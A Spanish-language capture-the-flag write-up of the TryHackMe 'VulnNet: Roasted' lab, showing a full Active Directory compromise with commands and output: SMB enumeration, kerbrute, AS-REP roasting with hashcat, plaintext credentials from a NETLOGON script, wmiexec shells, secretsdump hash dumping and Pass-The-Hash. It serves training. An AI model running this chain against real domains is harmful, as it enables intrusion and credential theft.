Maquina Roasted

Introduccion

La máquina **VulnNet: Roasted** de TryHackMe es un laboratorio enfocado en la explotación de entornos **Windows Active Directory**, en el que se ponen en práctica técnicas reales de enumeración, obtención y explotación de credenciales, así como movimientos laterales y escalada de privilegios.

El escenario simula una infraestructura corporativa con recursos SMB expuestos, políticas de contraseñas débiles y configuraciones inseguras en cuentas de servicio. Durante la intrusión, el atacante parte desde un acceso anónimo a la red y, a través de una cadena de vulnerabilidades y malas prácticas, logra comprometer completamente el **controlador de dominio**.

Entre las técnicas utilizadas se encuentran **enumeración SMB**, **AS-REP Roasting**, **Kerberoasting**, extracción de credenciales desde scripts expuestos, y ataques **Pass-The-Hash**. La máquina está diseñada para mostrar cómo, en entornos reales, la falta de segmentación de recursos y la gestión deficiente de contraseñas pueden llevar a un compromiso total del sistema.

Este laboratorio es ideal para reforzar conocimientos sobre:

- **Reconocimiento y enumeración en redes Windows AD.**
- **Ataques a Kerberos y cuentas de servicio.**
- **Post-explotación en entornos de dominio.**
- **Escaladas de privilegios con herramientas de Impacket.**

Escaneo de Servicios

El primer paso consistió en realizar un escaneo completo de puertos y servicios para identificar la superficie de ataque disponible. Para ello, utilicé **Nmap** con los siguientes parámetros:

```
┌──(zikuta㉿zikuta)-[~/Desktop/roasted]
└─$ nmap -sV -sS -Pn -p- -sC --min-rate 5000 10.201.3.117 -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-08 15:20 CDT
Nmap scan report for 10.201.3.117
Host is up (0.24s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
```

```
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-
08-08 20:21:06Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain:
vulnnet-rst.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain:
vulnnet-rst.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49699/tcp open  msrpc         Microsoft Windows RPC
49823/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: WIN-2BO8M1OE1M1; OS: Windows; CPE:
cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-08-08T20:22:02
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 132.08 seconds
```

- **-sV**: Detecta la versión exacta de los servicios.
- **-sS**: Escaneo SYN (half-open), más rápido y menos ruidoso que un TCP connect.
- **-Pn**: Omite el ping inicial, asumiendo que el host está activo.
- **-p-**: Escanea todos los puertos TCP (1-65535).
- **-sC**: Ejecuta los scripts por defecto de Nmap (equivalente a `--script=default`).

- **--min-rate 5000**: Fuerza un envío de al menos 5000 paquetes por segundo para acelerar el escaneo.
- **-oN nmap.txt**: Guarda la salida en un archivo de texto.

Resultado del escaneo:

Se detectó un **controlador de dominio Windows Active Directory** con múltiples servicios clave abiertos:

Puerto	Servicio	Descripción
53/tcp	DNS (Simple DNS Plus)	Resolución de nombres del dominio interno.
88/tcp	Kerberos-sec	Autenticación en Active Directory.
135/tcp	MSRPC	Servicios RPC de Windows.
139/tcp	NetBIOS-SSN	Compartición de archivos e impresoras.
389/tcp	LDAP	Servicio de directorio para AD.
445/tcp	SMB	Compartición de archivos Windows.
464/tcp	kpasswd5	Cambio de contraseñas en Kerberos.
5985/tcp	WinRM	Administración remota por HTTP.

Enumeración de SMB Anónimo

La presencia de **puerto 445/tcp** (SMB) y **NetBIOS** sugiere posibles recursos compartidos. Probé acceso anónimo con `smbclient`:

```
smbclient -L //10.201.112.253/ -N
```

Obtuve acceso de manera exitosa y al listar las carpetas me encontre con dos carpetas muy interesantes `VulnNet-Business-Anonymous` y `VulnNet-Enterprise-Anonymous`

Dentro del recurso encontré tres archivos de texto accesibles:

- `Business-Manager.txt`
- `Business-Sections.txt`
- `Business-Tracking.txt`

- `Enterprise-Safety.txt`
- `Enterprise-Sync.txt`
- `Enterprise-Safety.txt`

El contenido de estos archivos incluía nombres de empleados, que extraje para generar una lista de posibles usuarios.

Preparación de Diccionario de Usuarios

De los documentos se identificaron los siguientes nombres:

- Jhonny Leet
- Jack Goldenhand
- Tony Skid
- Alexa Whitehat

A partir de ellos, creé un diccionario de usuarios adaptado al formato de Active Directory

Enumeración de Usuarios con Kerbrute

Para verificar qué cuentas existen en el dominio y detectar posibles vulnerabilidades AS-REP Roasting, utilicé **Kerbrute**:

```
 ./kerbrute_linux_amd64 userenum -d vulnnet-rst.local  --dc 10.201.112.253
user.txt


    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (9cfb81e) - 08/08/25 - Ronnie Flathers @ropnop

2025/08/08 17:27:02 >  Using KDC(s):
2025/08/08 17:27:02 >   10.201.112.253:88

2025/08/08 17:27:02 >  [+] VALID USERNAME:       Guest@vulnnet-rst.local
2025/08/08 17:27:02 >  [+] VALID USERNAME:       Administrator@vulnnet-
rst.local
2025/08/08 17:27:02 >  [+] VALID USERNAME:       J-Leet@vulnnet-rst.local
2025/08/08 17:27:02 >  [+] VALID USERNAME:       A-Whitehat@vulnnet-rst.local
2025/08/08 17:27:02 >  [+] VALID USERNAME:       J-Goldenhand@vulnnet-
rst.local
2025/08/08 17:27:02 >  [+] T-Skid has no pre auth required. Dumping hash to
crack offline:
$krb5asrep$18$T-Skid@VULNNET-
RST.LOCAL:76ffe3ab6b54430886685d7e18859450$65c203b4975fb0b5ed535adbcccbf69d11f
244294ed8d25b6705b7f2a536567981a9000c76ca1ba4644b9339e7f7d92f05d452be6a841a0a4
```

```
8d1c8636f4835c24e22889ed5178d765e30e912ae9b56d5d2dc19538a7276c14c5df30876e5523
fdd1bbfee4be7a114e5e314915b8af73e1e65e08b5f89b4665cc315c424c714c10e8f0dafbf0c5
a62460a8d8b1afa7d0580ad55b4bb619a78b5277f986389fc559eefed62a2e8e90733789a81cf7
dbf04be79399e446aaa4b9fb11e253ede8c5205cf42300779c01c7902d65a7ba3a04b031320ed0
2a8371d3f99b7f99dd9335c94dd7d32e21b51401056b077001545cf00aea574387b22e67f89a3a
aa79e509f8d3b714e236888da10b7
2025/08/08 17:27:02 >  [+] VALID USERNAME:       T-Skid@vulnnet-rst.local
2025/08/08 17:27:03 >  [+] VALID USERNAME:       guest@vulnnet-rst.local
2025/08/08 17:27:03 >  [+] VALID USERNAME:       administrator@vulnnet-
rst.local
2025/08/08 17:27:04 >  Done! Tested 67 usernames (8 valid) in 1.840 seconds
```

- **userenum**: Modo de enumeración de usuarios.
- **-d vulnnet-rst.local**: Dominio a atacar.
- **--dc**: Dirección IP del Domain Controller.
- **user.txt**: Lista de usuarios a probar.

Resultado clave:

- Se confirmaron varios usuarios válidos `Administrator`, `J-Leet`, `A-Whitehat`, `J-Goldenhand`
- El usuario `T-Skid` no requería **Kerberos pre-authentication** → vulnerable a **AS-REP Roasting**.

Esto significa que es posible solicitar un ticket de autenticación (TGT) cifrado con la contraseña del usuario, para crackearlo offline.

Explotación AS-REP Roasting

El comando de Kerbrute devolvió directamente el hash AS-REP de `T-Skid` en formato compatible con Hashcat:

```
$krb5asrep$23$T-Skid@VULNNET-RST.LOCAL:...
```

Crackeo del Hash con Hashcat

Con el hash en mano, procedí a crackearlo usando **Hashcat** con el modo **18200** (Kerberos 5 AS-REP, etype 23):

```
hashcat -m 18200  hash.txt /usr/share/wordlists/rockyou.txt -O -w 3 --force
hashcat (v6.2.6) starting
```

- **-m 18200**: Modo Kerberos 5 AS-REP (etype 23).
- **rockyou.txt**: Diccionario común de contraseñas.
- **-O**: Kernel optimizado para más velocidad.
- **-w 3**: Prioridad alta (reduce latencia).
- **--force**: Fuerza ejecución incluso con advertencias.

El hash fue crackeado con éxito, revelando la contraseña en pocos segundos:

```
Usuario: T-Skid
Contraseña: tj072889
```

posterior a eso descubrimos varios usuarios pero uno de esos usuarios que mas resaltaba era el usuario `T-Skid` Porque este usuario contenia el hash tipo TGS para acceder a posibles archivos smb, tras obtener el TGS procedemos a crackearlo con hashcat y obtuvimos la contrasena

En este punto ya disponíamos de credenciales válidas de dominio (`T-Skid : tj072889`), lo que nos permitiría acceder a recursos SMB protegidos o iniciar movimiento lateral dentro del dominio.

SMBMAP

En este punto, con las credenciales `T-Skid : tj072889`, procedimos a enumerar los permisos SMB que tenía el usuario dentro del dominio. Para ello utilizamos la herramienta `smbmap`, que nos permite listar los *shares* y sus permisos asociados.

```
┌──(zikuta㉿zikuta)-[/usr/share/doc/python3-impacket/examples]
└─$ smbmap -H 10.201.112.253  -u T-Skid -p 'tj072889*' -d vulnnet-rst.local

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                    https://github.com/ShawnDEvans/smbmap

[\] Checking for open ports...
[|] Checking for open ports...
```

```
[/] Checking for open ports...
[-] Checking for open ports...
[\] Checking for open ports...
[|] Checking for open ports...
[*] Detected 1 hosts serving SMB
[/] Authenticating...

[-] Enumerating shares...
[+] IP: 10.201.112.253:445      Name: vulnnet-rst.local         Status:
Authenticated
        Disk                                                    Permissions
Comment
        ----                                                    -----------
-------
        ADMIN$                                                  NO ACCESS
Remote Admin
        C$                                                      NO ACCESS
Default share
        IPC$                                                    READ ONLY
Remote IPC
        NETLOGON                                                READ ONLY
Logon server share
        SYSVOL                                                  READ ONLY
Logon server share
        VulnNet-Business-Anonymous                              READ ONLY
VulnNet Business Sharing
        VulnNet-Enterprise-Anonymous                            READ ONLY
VulnNet Enterprise Sharing
```

La mayoría de los recursos disponibles tenían permisos **solo lectura** y no ofrecían información relevante tras su revisión inicial.

Sin embargo, el *share* `NETLOGON` llamó especialmente la atención. Este recurso suele almacenar scripts de inicio de sesión y otros archivos utilizados por el controlador de dominio para automatizar configuraciones en los equipos cliente, lo que lo convierte en un lugar interesante para encontrar credenciales en texto plano o scripts con información sensible.

Procedimos a conectarnos y listar su contenido para identificar posibles archivos de interés.

SMBCLIENT

Tras identificar el *share* `NETLOGON`, decidimos conectarnos utilizando `smbclient` para inspeccionar su contenido.

```
┌──(zikuta㉿zikuta)-[~/Desktop/roasted]
└─$  smbclient //10.201.112.253/NETLOGON -U T-Skid -p 'tj072889*'
Password for [WORKGROUP\T-Skid]:
Try "help" to get a list of possible commands.
smb: \> ls
g  .                                   D        0  Tue Mar 16 18:15:49 2021
  ..                                  D        0  Tue Mar 16 18:15:49 2021
  ResetPassword.vbs                   A     2821  Tue Mar 16 18:18:14 2021
```

Dentro del directorio encontramos un archivo sospechoso llamado `ResetPassword.vbs`, que descargamos para su análisis:

VBScript

El archivo resultó ser un script en **VBScript** utilizado para restablecer contraseñas de cuentas de Active Directory.
Entre el código, destacaban dos líneas críticas que contenían **credenciales en texto plano**:

```
strUserNTName = "a-whitehat"
strPassword = "bNdKVkjv3RR9ht"
```

`Usuario:a-whitehat`
`Contrasena:bNdKVkjv3RR9ht`

Esto nos reveló un nuevo par de credenciales posiblemente válidas dentro del dominio:

Este hallazgo es especialmente sensible, ya que:

- La contraseña está almacenada **sin ningún tipo de cifrado**.
- El script sugiere que la cuenta podría tener permisos elevados o al menos acceso a modificar contraseñas de otros usuarios, lo cual abre la puerta a un posible escalado de privilegios.
- El hecho de que se encuentre en el *share* NETLOGON implica que podría distribuirse automáticamente a máquinas unidas al dominio.

El siguiente paso lógico es **probar estas credenciales** para determinar el nivel de privilegios del usuario `a-whitehat` y evaluar si podemos acceder a recursos adicionales, ejecutar movimiento lateral o incluso comprometer el controlador de dominio.

Explotación final y escalada de privilegios

Tras haber accedido al recurso compartido `NETLOGON` mediante `smbclient`, encontramos un archivo interesante llamado `ResetPassword.vbs`. Este script contenía credenciales en claro para el usuario **a-whitehat**, lo que nos dio una vía directa para movernos lateralmente en el entorno.

Acceso remoto mediante WMIExec

Con el usuario y contraseña extraídos, empleamos la herramienta **wmiexec.py** de la suite **Impacket**.
Esta utilidad permite ejecutar comandos de forma remota en sistemas Windows a través de **WMI (Windows Management Instrumentation)**, ofreciendo una shell semi-interactiva sin necesidad de abrir una sesión RDP o SMB tradicional.

```
┌──(zikuta㉿zikuta)-[/usr/share/doc/python3-impacket/examples]
└─$ impacket-wmiexec vulnnet-rst.local/a-
whitehat:bNdKVkjv3RR9ht@10.201.112.168
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>dir
 Volume in drive C has no label.
 Volume Serial Number is 58D0-66AA

 Directory of C:\
```

Desglose del comando:

- `impacket-wmiexec` → Script de Impacket para ejecución remota vía WMI.
- `vulnnet-rst.local/a-whitehat` → Especificamos el dominio y el usuario.
- `:bNdKVkjv3RR9ht` → Contraseña obtenida del script VBS.
- `@10.201.112.168` → IP de la máquina víctima.

El acceso fue exitoso, permitiéndonos listar directorios y buscar la flag de **user.txt**.

Extracción de credenciales con SecretsDump

Una vez con acceso, nuestro siguiente objetivo fue obtener hashes de contraseñas para intentar un ataque **Pass-The-Hash** y escalar privilegios.
Para ello usamos **secretsdump.py**, otra herramienta de Impacket que permite extraer hashes del **SAM**, **LSA Secrets** y credenciales de dominio si es posible.

```
impacket-secretsdump vulnnet-rst.local/a-
whitehat:bNdKVkjv3RR9ht@10.201.112.168
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xf10a2788aef5f622149a41b2c745f49a
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c2597747aa5e43022a3a3049a3c
3b09d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0
c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
VULNNET-RST\WIN-2BO8M1OE1M1$:aes256-cts-hmac-sha1-
96:9aaed70dac058be6abee2e08e7b35b2eadff676482563a5ccbad1abaa62cb75b
VULNNET-RST\WIN-2BO8M1OE1M1$:aes128-cts-hmac-sha1-
96:e07315ead8f53eff6eb7e41ef3689718
VULNNET-RST\WIN-2BO8M1OE1M1$:des-cbc-md5:04ba2619cd340 44f
VULNNET-RST\WIN-
2BO8M1OE1M1$:plain_password_hex:4b94207dbeb81f4479441d24d9e08e431a3c245a4309a7
9a1f3fbe14ce99f952feb118016c84a01096216df3b40edf40413a6fc37c3214cde7f4dc2fb573
cab12534555d796ada9fbf9bc5ab1d3fa1db1a765056be1b16352e1b54191c7f0036db08fa5566
6f8cbe599304f9baf61494dad061e00448865e8ca8b9f098bad0d2b3983206ca76c12fc691d9e5
d9448a9423a4bb47ec05f117315b7a32afbe4b893f4363156df8b50d133c03f44c0062691c98a6
613f51cfcb79d1e1129ecd75afb43efcc4ff4930d1f914bb76514372ad89e91163bb47cc530f37
e768c39d3676867ca1095d7e8692a29cb87400ef4987
VULNNET-RST\WIN-
2BO8M1OE1M1$:aad3b435b51404eeaad3b435b51404ee:123a550d2c4e4e9e4d308b3096a34ddc
:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x20809b3917494a0d3d5de6d6680c00dd718b1419
dpapi_userkey:0xbf8cce326ad7bdbb9bbd717c970b7400696d3855
[*] NL$KM
 0000   F3 F6 6B 8D 1E 2A F4 8E  85 F6 7A 46 D1 25 A0 D3   ..k..*....zF.%..
 0010   EA F4 90 7D 2D CB A5 8C  88 C5 68 4C 1E D3 67 3B   ...}-.....hL..g;
 0020   DB 31 D9 91 C9 BB 6A 57  EA 18 2C 90 D3 06 F8 31   .1....jW..,....1
 0030   7C 8C 31 96 5E 53 5B 85  60 B4 D5 6B 47 61 85 4A   |.1.^S[.`..kGa.J
NL$KM:f3f66b8d1e2af48e85f67a46d125a0d3eaf4907d2dcba58c88c5684c1ed3673bdb31d991
c9bb6a57ea182c90d306f8317c8c31965e535b8560b4d56b4761854a
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[-] Cannot create "sessionresume_mXDdLbqC" resume session file: [Errno 13]
Permission denied: 'sessionresume_mXDdLbqC'
```

```
[*] Something went wrong with the DRSUAPI approach. Try again with -use-vss
parameter
[*] Cleaning up...
[*] Stopping service RemoteRegistry
[-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop
control has been sent to a service that other running services are dependent
on.
[*] Cleaning up...
```

Explicación técnica:

- **SAM hashes** → Contraseñas locales (NTLM) de cuentas de la máquina.
- **LSA Secrets** → Información sensible almacenada en el Local Security Authority.
- **Cached domain logons** → Hashes de credenciales de dominio almacenadas para inicios de sesión offline.
- **DRSUAPI method** → Si el usuario tiene permisos en AD, se intenta extraer `NTDS.dit` (base de datos de Active Directory).

Entre todos los hashes obtenidos, destacó el del usuario **Administrator**:

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c2597747aa5e43022a3a3049a3c
3b09d
```

El **LM hash** (`aad3...`) está vacío, pero el **NT hash** (`c259...`) es válido para un ataque Pass-The-Hash.

Escalada de privilegios vía Pass-The-Hash

Con el hash NTLM del administrador en mano, utilizamos nuevamente **wmiexec.py**, pero esta vez con la opción `-hashes`, que nos permite autenticarnos usando directamente el hash en lugar de la contraseña en texto plano.

```
(zikuta㉿zikuta)-[/usr/share/doc/python3-impacket/examples]
└─$ impacket-wmiexec vulnnet-rst.local/Administrator@10.201.16.154 -hashes
aad3b435b51404eeaad3b435b51404ee:c2597747aa5e43022a3a3049a3c3b09d

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>dir
 Volume in drive C has no label.
```

```
 Volume Serial Number is 58D0-66AA

 Directory of C:\
```

Parámetros clave:

- `-hashes <LMhash>:<NThash>` → Permite autenticación Pass-The-Hash.
- El **LMhash** suele ser `aad3b435b51404eeaad3b435b51404ee` cuando está vacío.
- El **NThash** es el hash NTLM extraído previamente.

El ataque fue exitoso, otorgándonos acceso como **Administrador** y control total sobre la máquina.

Obtención de la flag final

Con privilegios máximos, navegamos por el sistema y localizamos la **flag de root/Administrator**, completando así la intrusión.

Conclusion

La máquina **Roasted** simula un entorno **Windows Active Directory** vulnerable, diseñado para mostrar cómo una cadena de malas configuraciones y contraseñas débiles puede llevar desde acceso anónimo hasta control total del dominio.

El ataque comenzó con **enumeración SMB anónima**, lo que permitió acceder a recursos compartidos y extraer nombres de usuarios desde archivos internos. Posteriormente, se utilizó **Kerbrute** para validar cuentas y detectar un usuario vulnerable a **AS-REP Roasting** por no requerir Kerberos pre-authentication. El hash AS-REP obtenido se crackeó con **Hashcat**, revelando credenciales válidas.

Con estas credenciales, se ejecutó una **enumeración de permisos SMB** y se accedió al recurso **NETLOGON**, donde se descubrió un script VBScript con credenciales en texto plano de otro usuario. Estas credenciales se usaron para establecer una sesión remota vía **WMIExec**, lo que permitió obtener acceso interactivo a la máquina.

Desde ahí, se utilizaron **SecretsDump** para extraer hashes NTLM, incluyendo el de la cuenta **Administrator**. Con este hash, se aplicó un **Pass-The-Hash** mediante WMIExec para obtener acceso como administrador y comprometer por completo el controlador de dominio.

Este laboratorio demuestra cómo un atacante puede:

- Encadenar vulnerabilidades de enumeración y debilidades en la autenticación.

- Escalar privilegios mediante credenciales expuestas.
- Usar técnicas de post-explotación para obtener el control total del dominio.

Tecnicas utilizadas

Etapa	Técnica / Herramienta	Descripción	Objetivo
1	**Enumeración SMB anónima** (`smbclient`)	Acceso sin credenciales a recursos compartidos.	Obtener archivos internos con nombres de usuarios.
2	**Enumeración de usuarios** (`kerbrute userenum`)	Verificación de usuarios válidos en el dominio.	Identificar cuentas existentes y vulnerables.
3	**AS-REP Roasting** (`kerbrute` / `hashcat`)	Solicitar TGT cifrado sin pre-auth y crackearlo offline.	Obtener credenciales válidas de dominio.
4	**Enumeración SMB autenticada** (`smbmap`)	Listar recursos compartidos y permisos con credenciales obtenidas.	Localizar shares sensibles.
5	**Exfiltración de credenciales en scripts** (`smbclient`)	Descarga de script en NETLOGON con usuario y contraseña en texto plano.	Escalar a un usuario con más privilegios.
6	**Ejecución remota vía WMI** (`wmiexec.py`)	Acceso remoto con credenciales de usuario privilegiado.	Obtener shell semi-interactiva en la máquina.
7	**Extracción de hashes NTLM** (`secretsdump.py`)	Dump de SAM, LSA Secrets y credenciales de dominio.	Obtener hashes de administrador.
8	**Pass-The-Hash** (`wmiexec.py -hashes`)	Autenticación usando NTLM hash del administrador.	Acceso total al controlador de dominio.